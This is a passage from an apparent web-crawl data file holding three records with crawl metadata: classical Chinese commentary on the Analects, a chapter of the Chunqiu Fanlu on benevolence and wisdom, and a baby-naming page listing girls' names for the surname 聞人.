教人博弈也、所以甚言無所用心之不可爾。\n子路曰君子尚勇乎。子曰君子義以為上。君子有勇而無義為亂、小人有勇而無義為盜。尚、上之也。君子為亂、小人為盜、皆以位而言者也。尹氏曰義以為尚、則其勇也大矣。子路好勇、故夫子以此救其失也。胡氏曰疑此子路初見孔子時問答也。\n子貢曰君子亦有惡乎。子曰有惡惡稱人之惡者、惡居下流而訕上者、惡勇而無禮者、惡果敢而窒者。惡、去聲、下同。惟惡者之惡如字。訕、所諫反。訕、謗毀也。窒、不通也。稱人惡、則無仁厚之意。下訕上、則無忠敬之心。勇無禮、則為亂。果而窒、則妄作。故夫子惡之。曰賜也亦有惡乎。惡徼以為知者、惡不孫以為勇者、惡訐以為直者。徼、古堯反。知、孫、並去聲。訐、居謁反。惡徼以下、子貢之言也。徼、伺察也。訐、謂攻發人之陰私。楊氏曰仁者無不愛、則君子疑若無惡矣。子貢之有是心也、故問焉以質其是非。侯氏曰聖賢之所惡如此、所謂唯仁者能惡人也。\n子曰唯女子與小人為難養也、近之則不孫、遠之則怨。近、孫、遠、並去聲。此小人、亦謂僕隸下人也。君子之於臣妾、莊以贋之、慈以畜之、則無二者之患矣。\n子曰年四十而見惡焉、其終也已。惡、去聲。四十、成德之時。見惡於人、則止於此而已、勉人及時遷善改過也。蘇氏曰此亦有為而言、不知其為誰也。\n微子第十八此篇多記聖賢之出處、凡十一章。\n微子去之、箕子為之奴、比干諫而死。微、箕、二國名。子、爵也。微子、紂庶兄。箕子、比干、紂諸父。微子見紂無道、去之以存宗祀。箕子、比干皆諫、紂殺比干、囚箕子以為奴、箕子因佯狂而受辱。孔子曰殷有三仁焉。三人之行不同、而同出於至誠惻怛之意、故不咈乎愛之理、而有以全其心之德也。楊氏曰此三人者、各得其本心、故同謂之仁。\n柳下惠為士師、三黜。人曰子未可以去乎。曰直道而事人、焉往而不三黜。枉道而事人、何必去父母之邦。三、去聲。焉、於虔反。士師、獄官。黜、退也。柳下惠三黜不去、而其辭氣雍容如此、可謂和矣。然其不能枉道之意、則有確乎其不可拔者。是則所謂必以其道、而不自失焉者也。○胡氏曰此必有孔子斷之之言而亡之矣。\n齊景公待孔子、曰若季氏則吾不能、以季、孟之閒待之。曰吾老矣、不能用也。孔子行。魯三卿、季氏最貴、孟氏為下卿。孔子去之、事見世家。然此言必非面語孔子、蓋自以告其臣、而孔子聞之爾。程子曰季氏強臣、君待之之禮極隆、然非所以待孔子也。以季、孟之閒待之、則禮亦至矣。然復曰『吾老矣不能用也』、故孔子去之。蓋不繫待之輕重、特以不用而去爾。\n齊人歸女樂、季桓子受之。三日不朝、孔子行。歸、如字、或作饋。朝、音潮。季桓子、魯大夫、名斯。按史記、定公十四年、孔子為魯司寇、攝行相事。齊人懼、歸女樂以沮之。尹氏曰受女樂而怠於政事如此、其簡賢棄禮、不足與有為可知矣。夫子所以行也、所謂見幾而作、不俟終日者與。范氏曰此篇記仁賢之出處、而折中以聖人之行、所以明中庸之道也。\n楚狂接輿歌而過孔子曰鳳兮鳳兮何德之衰。往者不可諫、來者猶可追。已而、已而今之從政者殆而接輿、楚人、佯狂辟世。夫子時將適楚、故接輿歌而過其車前也。鳳有道則見、無道則隱、接輿以比孔子、而譏其不能隱為德衰也。來者可追、言及今尚可隱去。已、止也。而、語助辭。殆、危也。接輿蓋知尊孔子而趨不同者也。孔子下、欲與之言。趨而辟之、不得與之言。辟、去聲。孔子下車、蓋欲告之以出處之意。接輿自以為是、故不欲聞而避之也。\n長沮、桀溺耦而耕、孔子過之、使子路問津焉。沮、七餘反。溺、乃歷反。二人、隱者。耦、並耕也。時孔子自楚反乎蔡。津、濟渡處。長沮曰夫執輿者為誰。子路曰為孔丘。曰是魯孔丘與。曰是也。曰是知津矣。夫、音扶。與、平聲。執輿、執轡在車也。蓋本子路御而執轡、今下問津、故夫子代之也。知津、言數周流、自知津處。問於桀溺、桀溺曰子為誰。曰為仲由。曰是魯孔丘之徒與。對曰然。曰滔滔者天下皆是也、而誰以易之。且而與其從辟人之士也、豈若從辟世之士哉。耰而不輟。徒與之與、平聲。滔、吐刀反。辟、去聲。耰、音憂。滔滔、流而不反之意。以、猶與也。言天下皆亂、將誰與變易之。而、汝也。辟人、謂孔子。辟世、桀溺自謂。耰、覆種也。亦不告以津處。子路行以告。夫子憮然曰鳥獸不可與同群、吾非斯人之徒與而誰與。天下有道、丘不與易也。憮、音武。與、如字。憮然、猶悵然、惜其不喻己意也。言所當與同群者、斯人而已、豈可絕人逃世以為潔哉。天下若已平治、則我無用變易之。正為天下無道、故欲以道易之耳。程子曰聖人不敢有忘天下之心、故其言如此也。張子曰聖人之仁、不以無道必天下而棄之也。\n子路從而後、遇丈人、以杖荷蓧。子路問曰子見夫子乎。丈人曰四體不勤、五穀不分。孰為夫子。植其杖而芸。蓧、徒弔反。植、音值。丈人、亦隱者。蓧、竹器。分、辨也。五穀不分、猶言不辨菽麥爾、責其不事農業而從師遠遊也。植、立之也。芸、去草也。子路拱而立。知其隱者、敬之也。止子路宿、殺雞為黍而食之、見其二子焉。食、音嗣。見、賢遍反。明日、子路行以告。子曰隱者也。使子路反見之。至則行矣。孔子使子路反見之、蓋欲告之以君臣之義。而丈人意子路必將復來、故先去之以滅其跡、亦接輿之意也。子路曰不仕無義。長幼之節、不可廢也。君臣之義、如之何其廢之。欲潔其身、而亂大倫。君子之仕也、行其義也。道之不行、已知之矣。長、上聲。子路述夫子之意如此。蓋丈人之接子路甚倨、而子路益恭、丈人因見其二子焉。則於長幼之節、固知其不可廢矣、故因其所明以曉之。倫、序也。人之大倫有五父子有親、君臣有義、夫婦有別、長幼有序、朋友有信是也。仕所以行君臣之義、故雖知道之不行而不可廢。然謂之義、則事之可否、身之去就、亦自有不可苟者。是以雖不潔身以亂倫、亦非忘義以殉祿也。福州有國初時寫本、路下有反子二字、以此為子路反而夫子言之也。未知是否。○范氏曰隱者為高、故往而不反。仕者為通、故溺而不止。不與鳥獸同群、則決性命之情以饕富貴。此二者皆惑也、是以依乎中庸者為難。惟聖人不廢君臣之義、而必以其正、所以或出或處而終不離於道也。\n逸民伯夷、叔齊、虞仲、夷逸、朱張、柳下惠、少連。少、去聲、下同。逸、遺逸。民者、無位之稱。虞仲、即仲雍、與大伯同竄荊蠻者。夷逸、朱張、不見經傳。少連、東夷人。子曰不降其志、不辱其身、伯夷、叔齊與與、平聲。\n謂柳下惠、少連、降志辱身矣。言中倫、行中慮、其斯而已矣。中、去聲、下同。柳下惠事見上。倫、義理之次第也。慮、思慮也。中慮、言有意義合人心。少連事不可考。然記稱其善居喪、三日不怠、三月不解。期悲哀、三年憂。則行之中慮、亦可見矣。謂虞仲、夷逸、隱居放言。身中清、廢中權。仲雍居吳、斷髮文身、裸以為飾。隱居獨善、合乎道之清。放言自廢、合乎道之權。我則異於是、無可無不可。孟子曰孔子可以仕則仕、可以止則止、可以久則久、可以速則速。所謂無可無不可也。謝氏曰七人隱遯不汙則同、其立心造行則異。伯夷、叔齊、天子不得臣、諸侯不得友、蓋已遯世離群矣、下聖人一等、此其最高與柳下惠、少連、雖降志而不枉己、雖辱身而不求合、其心有不屑也。故言能中倫、行能中慮。虞仲、夷逸隱居放言、則言不合先王之法者多矣。然清而不汙也、權而適宜也、與方外之士害義傷教而亂大倫者殊科。是以均謂之逸民。尹氏曰七人各守其一節、而孔子則無可無不可、此所以常適其可、而異於逸民之徒也。揚雄曰觀乎聖人則見賢人。是以孟子語夷、惠、亦必以孔子斷之。\n大師摯適齊、大、音泰。大師、魯樂官之長。摯、其名也。亞飯干適楚、三飯繚適蔡、四飯缺適秦。飯、扶晚反。繚、音了。亞飯以下、以樂侑食之官。干、繚、缺、皆名也。鼓方叔入於河、鼓、擊鼓者。方叔、名。河、河內。播浅武入於漢、浅、徒刀反。播、搖也。浅、小鼓。兩旁有耳、持其柄而搖之、則旁耳還自擊。武、名也。漢、漢中。少師陽、擊磬襄入於海。少、去聲。少師、樂官之佐。陽、襄、二人名。襄即孔子所從學琴者。海、海島也。此記賢人之隱遯以附前章、然未必夫子之言也。末章放此。張子曰周衰樂廢、夫子自衛反魯、一嘗治之。其後伶人賤工識樂之正。及魯益衰、三桓僭妄、自大師以下、皆知散之四方、逾河蹈海以去亂。聖人俄頃之助、功化如此。如有用我、期月而可。豈虛語哉。\n周公謂魯公曰君子不施其親、不使大臣怨乎不以。故舊無大故、則不棄也。無求備於一人。施、陸氏本作弛、詩紙反。福本同。魯公、周公子伯禽也。弛、遺棄也。以、用也。大臣非其人則去之、在其位則不可不用。大故、謂惡逆。李氏曰四者皆君子之事、忠厚之至也。胡氏曰此伯禽受封之國、周公訓戒之辭。魯人傳誦、久而不忘也。其或夫子嘗與門弟子言之歟。\n周有八士伯達、伯适、仲突、仲忽、叔夜、叔夏、季隨、季騧。騧、烏瓜反。或曰成王時人、或曰宣王時人。蓋一母四乳而生八子也、然不可考矣。張子曰記善人之多也。愚按此篇孔子於三仁、逸民、師摯、八士、既皆稱贊而品列之。於接輿、沮、溺、丈人、又每有惓惓接引之意。皆衰世之志也、其所感者深矣。在陳之歎、蓋亦如此。三仁則無間然矣、其餘數君子者、亦皆一世之高士。若使得聞聖人之道、以裁其所過而勉其所不及、則其所立、豈止於此而已哉。\n論語集注卷十\n子張第十九此篇皆記弟子之言、而子夏為多、子貢次之。蓋孔門自顏子以下、穎悟莫若子貢。自曾子以下、篤實無若子夏。故特記之詳焉。凡二十五章。\n子張曰士見危致命、見得思義、祭思敬、喪思哀、其可已矣。致命、謂委致其命、猶言授命也。四者立身之大節、一有不至、則餘無足觀。故言士能如此、則庶乎其可矣。\n子張曰執德不弘、信道不篤、焉能為有。焉能為亡。焉、於虔反。亡、讀作無、下同。有所得而守之太狹、則德孤。有所聞而信之不篤、則道廢。焉能為有無、猶言不足為輕重。\n子夏之門人問交於子張。子張曰子夏云何。對曰子夏曰『可者與之、其不可者拒之。』子張曰異乎吾所聞君子尊賢而容眾、嘉善而矜不能。我之大賢與、於人何所不容。我之不賢與、人將拒我、如之何其拒人也。賢與之與、平聲。子夏之言迫狹、子張譏之是也。但其所言亦有過高之病。蓋大賢雖無所不容、然大故亦所當絕。不賢固不可以拒人、然損友亦所當遠。學者不可不察。\n子夏曰雖小道、必有可觀者焉。致遠恐泥、是以君子不為也。泥、去聲。小道、如農圃醫卜之屬。泥、不通也。楊氏曰百家眾技、猶耳目鼻口、皆有所明而不能相通。非無可觀也、致遠則泥矣、故君子不為也。\n子夏曰日知其所亡、月無忘其所能、可謂好學也已矣。亡、讀作無。好、去聲。○亡、無也。謂己之所未有。尹氏曰好學者日新而不失。\n子夏曰博學而篤志、切問而近思、仁在其中矣。四者皆學問思辨之事耳、未及乎力行而為仁也。然從事於此、則心不外馳、而所存自熟、故曰仁在其中矣。程子曰博學而篤志、切問而近思、何以言仁在其中矣。學者要思得之。了此、便是徹上徹下之道。又曰學不博則不能守約、志不篤則不能力行。切問近思在己者、則仁在其中矣。又曰近思者以類而推。蘇氏曰博學而志不篤、則大而無成。泛問遠思、則勞而無功。\n子夏曰百工居肆以成其事、君子學以致其道。肆、謂官府造作之處。致、極也。工不居肆、則遷於異物而業不精。君子不學、則奪於外誘而志不篤。尹氏曰學所以致其道也。百工居肆、必務成其事。君子之於學、可不知所務哉。愚按二說相須、其義始備。\n子夏曰小人之過也必文。文、去聲。文、飾之也。小人憚於改過、而不憚於自欺、故必文以重其過。\n子夏曰君子有三變望之儼然、即之也溫、聽其言也厲。儼然者、貌之莊。溫者、色之和。厲者、辭之確。程子曰他人儼然則不溫、溫則不厲、惟孔子全之。謝氏曰此非有意於變、蓋並行而不相悖也、如良玉溫潤而栗然。\n子夏曰君子信而後勞其民、未信則以為厲己也。信而後諫、未信則以為謗己也。信、謂誠意惻怛而人信之也。厲、猶病也。事上使下、皆必誠意交孚、而後可以有為。\n子夏曰大德不踰閑、小德出入可也。大德、小德、猶言大節、小節。閑、闌也、所以止物之出入。言人能先立乎其大者、則小節雖或未盡合理、亦無害也。吳氏曰此章之言、不能無弊。學者詳之。\n子游曰子夏之門人小子、當洒掃、應對、進退、則可矣。抑末也、本之則無。如之何。洒、色賣反。掃、素報反。子游譏子夏弟子、於威儀容節之間則可矣。然此小學之末耳、推其本、如大學正心誠意之事、則無有。子夏聞之曰噫言游過矣君子之道、孰先傳焉。孰後倦焉。譬諸草木、區以別矣。君子之道、焉可誣也。有始有卒者、其惟聖人乎別、必列反。焉、於虔反。倦、如誨人不倦之倦。區、猶類也。言君子之道、非以其末為先而傳之、非以其本為後而倦教。但學者所至、自有淺深、如草木之有大小、其類固有別矣。若不量其淺深、不問其生熟、而概以高且遠者強而語之、則是誣之而已。君子之道、豈可如此。若夫始終本末一以貫之、則惟聖人為然、豈可責之門人小子乎。程子曰君子教人有序、先傳以小者近者、而後教以大者遠者。非先傳以近小、而後不教以遠大也。又曰洒掃應對、便是形而上者、理無大小故也。故君子只在慎獨。又曰聖人之道、更無精粗。從洒掃應對、與精義入神貫通只一理。雖洒掃應對、只看所以然如何。又曰凡物有本末、不可分本末為兩段事。洒掃應對是其然、必有所以然。又曰自洒掃應對上、便可到聖人事。愚按程子第一條、說此章文意、最為詳盡。其後四條、皆以明精粗本末。其分雖殊、而理則一。學者當循序而漸進、不可厭末而求本。蓋與第一條之意、實相表裏。非謂末即是本、但學其末而本便在此也。\n子夏曰仕而優則學、學而優則仕。優、有餘力也。仕與學理同而事異、故當其事者、必先有以盡其事、而後可及其餘。然仕而學、則所以資其仕者益深。學而仕、則所以驗其學者益廣。\n子游曰喪致乎哀而止。致極其哀、不尚文飾也。楊氏曰『喪、與其易也寧戚』、不若禮不足而哀有餘之意。愚按而止二字、亦微有過於高遠而簡略細微之弊。學者詳之。\n子游曰吾友張也、為難能也。然而未仁。子張行過高、而少誠實惻怛之意。\n曾子曰堂堂乎張也、難與並為仁矣。堂堂、容貌之盛。言其務外自高、不可輔而為仁、亦不能有以輔人之仁也。范氏曰子張外有餘而內不足、故門人皆不與其為仁。子曰『剛、毅、木、訥近仁。』寧外不足而內有餘、庶可以為仁矣。\n曾子曰吾聞諸夫子人未有自致者也、必也親喪乎致、盡其極也。蓋人之真情所不能自已者。尹氏曰親喪固所自盡也、於此不用其誠、惡乎用其誠。\n曾子曰吾聞諸夫子孟莊子之孝也、其他可能也。其不改父之臣、與父之政、是難能也。孟莊子、魯大夫、名速。其父獻子、名蔑。獻子有賢德、而莊子能用其臣、守其政。故其他孝行雖有可稱、而皆不若此事之為難。\n孟氏使陽膚為士師、問於曾子。曾子曰上失其道、民散久矣。如得其情、則哀矜而勿喜。陽膚、曾子弟子。民散、謂情義乖離、不相維繫。謝氏曰民之散也、以使之無道、教之無素。故其犯法也、非迫於不得已、則陷於不知也。故得其情、則哀矜而勿喜。\n子貢曰紂之不善、不如是之甚也。是以君子惡居下流、天下之惡皆歸焉。惡居之惡、去聲。下流、地形卑下之處、眾流之所歸。喻人身有汙賤之實、亦惡名之所聚也。子貢言此、欲人常自警省、不可一置其身於不善之地。非謂紂本無罪、而虛被惡名也。\n子貢曰君子之過也、如日月之食焉過也、人皆見之。更也、人皆仰之。更、平聲。\n衛公孫朝問於子貢曰仲尼焉學。朝、音潮。焉、於虔反。公孫朝、衛大夫。子貢曰文武之道、未墜於地、在人。賢者識其大者、不賢者識其小者、莫不有文武之道焉。夫子焉不學。而亦何常師之有。識、音志。下焉字、於虔反。文武之道、謂文王、武王之謨訓功烈、與凡周之禮樂文章皆是也。在人、言人有能記之者。識、記也。\n叔孫武叔語大夫於朝、曰子貢賢於仲尼。語、去聲。朝、音潮。武叔、魯大夫、名州仇。子服景伯以告子貢。子貢曰譬之宮牆、賜之牆也及肩、窺見室家之好。牆卑室淺。夫子之牆數仞、不得其門而入、不見宗廟之美、百官之富。七尺曰仞。不入其門、則不見其中之所有、言牆高而宮廣也。得其門者或寡矣。夫子之云、不亦宜乎此夫子、指武叔。\n叔孫武叔毀仲尼。子貢曰無以為也、仲尼不可毀也。他人之賢者、丘陵也、猶可踰也。仲尼、日月也、無得而踰焉。人雖欲自絕、其何傷於日月乎。多見其不知量也量、去聲。無以為、猶言無用為此。土高曰丘、大阜曰陵。日月、踰其至高。自絕、謂以謗毀自絕於孔子。多、與祗同、適也。不知量、謂不自知其分量。\n陳子禽謂子貢曰子為恭也、仲尼豈賢於子乎。為恭、謂為恭敬推遜其師也。子貢曰君子一言以為知、一言以為不知、言不可不慎也。知、去聲。責子禽不謹言。夫子之不可及也、猶天之不可階而升也。階、梯也。大可為也、化不可為也、故曰不可階而升。夫子之得邦家者、所謂立之斯立、道之斯行、綏之斯來、動之斯和。其生也榮、其死也哀、如之何其可及也。道、去聲。立之、謂植其生也。道、引也、謂教之也。行、從也。綏、安也。來、歸附也。動、謂鼓舞之也。和、所謂於變時雍。言其感應之妙、神速如此。榮、謂莫不尊親。哀、則如喪考妣。程子曰此聖人之神化、上下與天地同流者也。謝氏曰觀子貢稱聖人語、乃知晚年進德、蓋極於高遠也。夫子之得邦家者、其鼓舞群動、捷於桴鼓影響。人雖見其變化、而莫窺其所以變化也。蓋不離於聖、而有不可知者存焉、此殆難以思勉及也。\n堯曰第二十凡三章。\n堯曰咨爾舜天之曆數在爾躬。允執其中。四海困窮、天祿永終。此堯命舜、而禪以帝位之辭。咨、嗟歎聲。曆數、帝王相繼之次第、猶歲時氣節之先後也。允、信也。中者、無過不及之名。四海之人困窮、則君祿亦永絕矣、戒之也。舜亦以命禹。舜後遜位於禹、亦以此辭命之。今見於虞書大禹謨、比此加詳。曰予小子履、敢用玄牡、敢昭告于皇皇后帝有罪不敢赦。帝臣不蔽、簡在帝心。朕躬有罪、無以萬方。萬方有罪、罪在朕躬。此引商書湯誥之辭。蓋湯既放桀而告諸侯也。與書文大同小異。曰上當有湯字。履、蓋湯名。用玄牡、夏尚黑、未變其禮也。簡、閱也。言桀有罪、己不敢赦。而天下賢人、皆上帝之臣、己不敢蔽。簡在帝心、惟帝所命。此述其初請命而伐桀之辭也。又言君有罪非民所致、民有罪實君所為、見其厚於責己薄於責人之意。此其告諸侯之辭也。周有大賚、善人是富。賚、來代反。此以下述武王事。賚、予也。武王克商、大賚于四海。見周書武成篇。此言其所富者、皆善人也。詩序云賚所以錫予善人、蓋本於此。雖有周親、不如仁人。百姓有過、在予一人。此周書太誓之辭。孔氏曰周、至也。言紂至親雖多、不如周家之多仁人。謹權量、審法度、修廢官、四方之政行焉。權、稱錘也。量、斗斛也。法度、禮樂制度皆是也。興滅國、繼絕世、舉逸民、天下之民歸心焉。興滅繼絕、謂封黃帝、堯、舜、夏、商之後。舉逸民、謂釋箕子之囚、復商容之位。三者皆人心之所欲也。所重民、食、喪、祭。武成曰重民五教、惟食喪祭。寬則得眾、信則民任焉、敏則有功、公則說。說、音悅。此於武王之事無所見、恐或泛言帝王之道也。楊氏曰論語之書、皆聖人微言、而其徒傳守之、以明斯道者也。故於終篇、具載堯舜咨命之言、湯武誓師之意、與夫施諸政事者。以明聖學之所傳者、一於是而已。所以著明二十篇之大旨也。孟子於終篇、亦歷敘堯、舜、湯、文、孔子相承之次、皆此意也。\n子張問於孔子曰何如斯可以從政矣。子曰尊五美、屏四惡、斯可以從政矣。子張曰何謂五美。子曰君子惠而不費、勞而不怨、欲而不貪、泰而不驕、威而不猛。費、芳味反。子張曰何謂惠而不費。子曰因民之所利而利之、斯不亦惠而不費乎。擇可勞而勞之、又誰怨。欲仁而得仁、又焉貪。君子無眾寡、無小大、無敢慢、斯不亦泰而不驕乎。君子正其衣冠、尊其瞻視、儼然人望而畏之、斯不亦威而不猛乎。焉、於虔反子張曰何謂四惡。子曰不教而殺謂之虐。不戒視成謂之暴。慢令致期謂之賊。猶之與人也、出納之吝、謂之有司。出、去聲。虐、謂殘酷不仁。暴、謂卒遽無漸。致期、刻期也。賊者、切害之意。緩於前而急於後、以誤其民、而必刑之、是賊害之也。猶之、猶言均之也。均之以物與人、而於其出納之際、乃或吝而不果。則是有司之事、而非為政之體。所與雖多、人亦不懷其惠矣。項羽使人、有功當封、刻印刓、忍弗能予、卒以取敗、亦其驗也。尹氏曰告問政者多矣、未有如此之備者也。故記之以繼帝王之治、則夫子之為政可知也。\n子曰不知命、無以為君子也。程子曰知命者、知有命而信之也。人不知命、則見害必避、見利必趨、何以為君子。不知禮、無以立也。不知禮、則耳目無所加、手足無所措。不知言、無以知人也。言之得失、可以知人之邪正。尹氏曰知斯三者、則君子之事備矣。弟子記此以終篇、得無意乎。學者少而讀之、老而不知一言為可用、不幾於侮聖言者乎。夫子之罪人也、可不念哉。","id":"","dump":"CC-MAIN-2024-10","url":"http:\/\/blog.yoshida.mizuo.info\/p\/blog-page_14.html","date":"2024-02-29T22:51:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474853.43\/warc\/CC-MAIN-20240229202522-20240229232522-00585.warc.gz","language":"lzh","language_score":0.8534611464,"language_script":"Hani","minhash_cluster_size":14,"top_langs":"{\"lzh_Hani_score\": 0.8534611463546753, \"cmn_Hani_score\": 0.05727579817175865, \"nan_Hani_score\": 0.04927883669734001, \"jpn_Jpan_score\": 0.015459142625331879}","num_words":557,"character_repetition_ratio":0.005,"word_repetition_ratio":0.0,"special_characters_ratio":0.174,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.854,"perplexity_score":500.0,"cluster_detection":1} +{"text":"林於錦 校對提供\n董子春秋繁露卷第八\n必仁且知第三十\n莫近於仁,莫急於智。不仁而有勇力材能,則狂而操利兵也;不智而辯慧獧給,則迷而乘良馬也。故不仁不智而有材能,將以其材能以輔其邪狂之心,而贊其僻違之行, (次以字衍邪狂疑當作邪枉) 適足以大其非而甚其惡耳。其強足以覆過,其禦足以犯詐,其慧足以惑愚,其辨足以飾非,其堅足以斷辟,其嚴足以拒諫。此非無材能也,其施之不當而處之不義也。有否心者,不可藉便執,其質愚者不與利器。《論》之所謂不知人也者,恐不知別此等也。仁而不智,則愛而不別也;智而不仁,則知而不為也。故仁者所以愛人類也,智者所以除其害也。\n何謂仁?仁者㦧怛愛人,謹翕不爭,好惡敦倫,無傷惡之心,無隱忌之志,無嫉妒之氣,無感愁之欲,無險詖之事,無辟違之行。故其心舒,其志平,其氣和,其欲節,其事易,其行道故能平易和理,而無爭也。如此者謂之仁。\n何謂之智?先言而後當。凡人欲舍行為,皆以其知先規而後為之。其規是者,其所為得,其所事當,其行遂,其名榮,其身故利而無患,福及子孫,德加萬民,湯武是也。其規非者,其所為不得,其所事不當,其行不遂,其名辱,害及其身,絕世無復,殘類滅宗亡國是也。故曰莫急於智。智者見禍福遠,其知利害蚤,物動而知其化,事同而知其歸,見始而知其終,言之而無敢嘩,立之而不可廢,取之而不可舍,前後不相悖,終始有類,思之而有復,及之而不可厭。其言寡而足,約而喻,簡而達,省而具,少而不可益,多而不可損。其動中倫,其言當務。如是者謂之智。\n其大略之類,天地之物有不常之變者,謂之異,小者謂之災。災常先至而異乃隨之。災者,天之譴也;異者,天之威也。譴之而不知,乃畏之以威。《詩》云「畏天之威。」殆此謂也。凡災異之本,盡生於國家之失。國家之失乃始萌芽,而天出災害以譴告之;譴告之而不知變,乃見怪異以驚駭之,驚駭之尚不知畏恐,其殃咎乃至。以此見天意之仁而不欲陷人也。謹案災異以見天意。天意有欲也,有不欲也。所欲所不欲者,人內以自省,宜有懲於心;外以觀其事,宜有驗於國。故見天意者之於災異也,畏之而不惡也,以為天欲振吾過,救吾失,故以此報我也。 (報舊本作救訛) 《春秋》之法,上變古易常,應是而有天災者,謂幸國。孔子曰:「天之所幸,有為不善而屢極。」 (文似不了) 楚莊王以天不見災,地不見孽,則禱之於山川,曰:「天其將亡予邪?不說吾過,極吾罪也。」 (楚莊王以四字舊本作且莊王曰訛今改正) 以此觀之,天災之應過而至也,異之顯明可畏也。此乃天之所欲救也,《春秋》之所獨幸也,莊王所以禱而請也。聖主賢君尚樂受忠臣之諫,而況受天譴也? (錢云後一段疑本在二端篇脫在此)","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/chineseclassic.com\/content\/1304","date":"2024-04-21T11:08:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817765.59\/warc\/CC-MAIN-20240421101951-20240421131951-00443.warc.gz","language":"lzh","language_score":0.5466136336,"language_script":"Hani","minhash_cluster_size":12,"top_langs":"{\"lzh_Hani_score\": 0.5466136336326599, \"cmn_Hani_score\": 0.38969817757606506, \"nan_Hani_score\": 0.04381585866212845}","num_words":17,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.174,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.624,"perplexity_score":500.0,"cluster_detection":1} +{"text":"姓聞人的好聽的女孩名字有哪些呢?名字是孩子一生中最忠實可靠的朋友,無論春風得意,抑或秋雨梧桐,名字都與孩子相依相守,不離不棄。那姓聞人的女寶寶該取什麼樣的名字,下面姓名網為大傢介紹,姓聞人的好聽的女孩名字!\n姓聞人的好聽的女孩名字\n聞人志芳 聞人子瑩 聞人紅芳 聞人林玉 聞人惠媛 聞人躍英 聞人安婧 聞人春瑩 聞人怡妃 聞人愛娥 聞人涵雪 聞人蔡怡 聞人漢文 聞人聰燕 聞人劉娟 聞人秀艷 聞人永紅 聞人象芳 聞人悅梁 聞人惠瑩 聞人彩花 聞人婧奕 聞人紫妍 聞人艷芳 聞人飛婭 聞人永梅 聞人笛瑩 聞人斯麗 聞人怡康 聞人明燕 聞人易萍 聞人藝文 聞人緒文 聞人妍沁 聞人鈞美 聞人怡湘 聞人澤琳 聞人顏婷 聞人蓉 聞人慧芳 聞人星秀 聞人玲菊 聞人夢娜 聞人嘉瑩 聞人慧瑛 聞人語美 聞人蝶媛 聞人瀅瑩 聞人儀琳 聞人海霞 聞人淑娜 聞人卜文 聞人華英 聞人晨倩 聞人立雪 聞人琳馨 聞人憲花 聞人芷娟 聞人秦秀 聞人閔潔 聞人昕婧 聞人瑤靳 聞人琳晶 聞人燕 聞人瑤蝶 聞人臘英 聞人厚琴 聞人忻媛 聞人元文 聞人馨瑤 聞人志娟 聞人伊娜 聞人婧茹 聞人小娥 聞人鑫琳 聞人國芳 聞人芮妍 聞人恣穎 聞人秀芊 聞人芮瑩 聞人燕明 聞人翊文 聞人怡瑩 聞人瑩麒 聞人瑛瑞 聞人倩戀 聞人國玲 聞人彗娟 聞人敘瑤 聞人素芬 聞人婧於 聞人偉英 聞人柏瓊 聞人千雪 聞人君妍 聞人秀妍 聞人有紅 聞人睿潔 聞人成瑩 聞人傢穎 聞人世茹 聞人芝燕 聞人秀桐 聞人瑯婷 聞人霞輝 聞人敬怡 聞人邃娟 聞人茹青 聞人希婷 聞人霞暉 聞人夕玲 聞人蕓怡 聞人曉燕 聞人絹文 聞人文潔 聞人保玲 聞人瀚潔 聞人紅麗 聞人勝瓊 聞人艷琴 聞人慶怡 聞人蕭娜 聞人海霞 聞人以雪 聞人雯潔 聞人立英 聞人日婷 》》還是沒有找到滿意的名字?不妨問問大師。\n聞人美美 聞人琳芳 聞人新花 聞人芬毓 聞人鬱琳 聞人珈雪 聞人悅琪 聞人路瑤 聞人婧璽 聞人雯潔 聞人庭婧 聞人翠娟 聞人昕悅 聞人燕斌 聞人尾玲 聞人婭霏 聞人冉冉 聞人愛玲 聞人來瑩 聞人怡涵 聞人柳梅 聞人瑩羲 聞人炯文 聞人瑩 聞人允裴 聞人樹艷 聞人歐琳 聞人婷邦 聞人佳梅 聞人亞秀 聞人勇梅 聞人園倩 聞人志英 聞人玲瑤 聞人怡倪 聞人正花 聞人怡銳 聞人秀嫣 聞人媛元 聞人琴揚 聞人愷娜 聞人純霞 聞人愉悅 聞人雪琴 聞人纖冉 聞人吟雪 聞人蓉蓉 聞人雪麗 聞人翠婷 聞人亮潔 聞人昕霞 聞人達梅 聞人根妹 聞人欣妍 聞人民霞 聞人麗玉 聞人寶玉 聞人斯瑩 聞人利萍 聞人佩茹 聞人希穎 聞人敏紅 聞人嵐婷 聞人湘婷 聞人運英 聞人語瑩 聞人愛穎 聞人一玲 聞人雋潔 聞人演霞 聞人菁瑤 聞人倩怡 聞人醒瓊 聞人永萍 聞人禾潔 聞人燕飛 聞人桂英 聞人銚芳 聞人雨瑩 聞人惠燕 聞人言梅 聞人裴 聞人韋英 聞人會玲 聞人鵬燕 聞人宛婷 聞人伊娜 聞人桐英 聞人靖文 聞人金穎 聞人熔婧 聞人燕珉 聞人婷雨 聞人燕龍 聞人苓妍 聞人婭 聞人紫英 聞人嵐玲 聞人孜娟 聞人海文 聞人梓文 聞人潔 聞人鈺瑩 聞人欣潔 聞人蓉芳 聞人奇萍 聞人弋婷 聞人義蓉 聞人卓瑤 聞人瑾娜 聞人妍琪 聞人夢茹 聞人唏文 聞人馨茹 聞人思怡 聞人桂娟 聞人佳怡 聞人妍冰 聞人傢英 聞人水玲 聞人心冉 聞人玲 聞人慧茹 聞人葉美 聞人琳沛 聞人瑞琴 聞人堯妹 聞人征穎 聞人鶴瑩 聞人妍銘 聞人古玉 聞人曉潔 聞人曉麗 聞人悅婷 聞人小娟 聞人從艷 聞人美文 聞人沛茹 聞人澤慧 聞人禮志 聞人婧秋 聞人韻文 聞人宏娟 聞人琳喵\n聞人萱婷 聞人月婷 聞人瑞雪 聞人夢婷 聞人星玉 聞人丹悅 聞人茹 聞人文花 聞人方美 聞人雪怡 聞人聖美 聞人占花 聞人琪瑤 聞人悅晴 聞人建玲 聞人玉花 聞人淑艷 聞人玲麗 聞人文婧 聞人瑋娜 聞人雅媛 聞人向麗 聞人妍鑠 聞人柯文 聞人之瑤 聞人茜婷 聞人婉茹 聞人富英 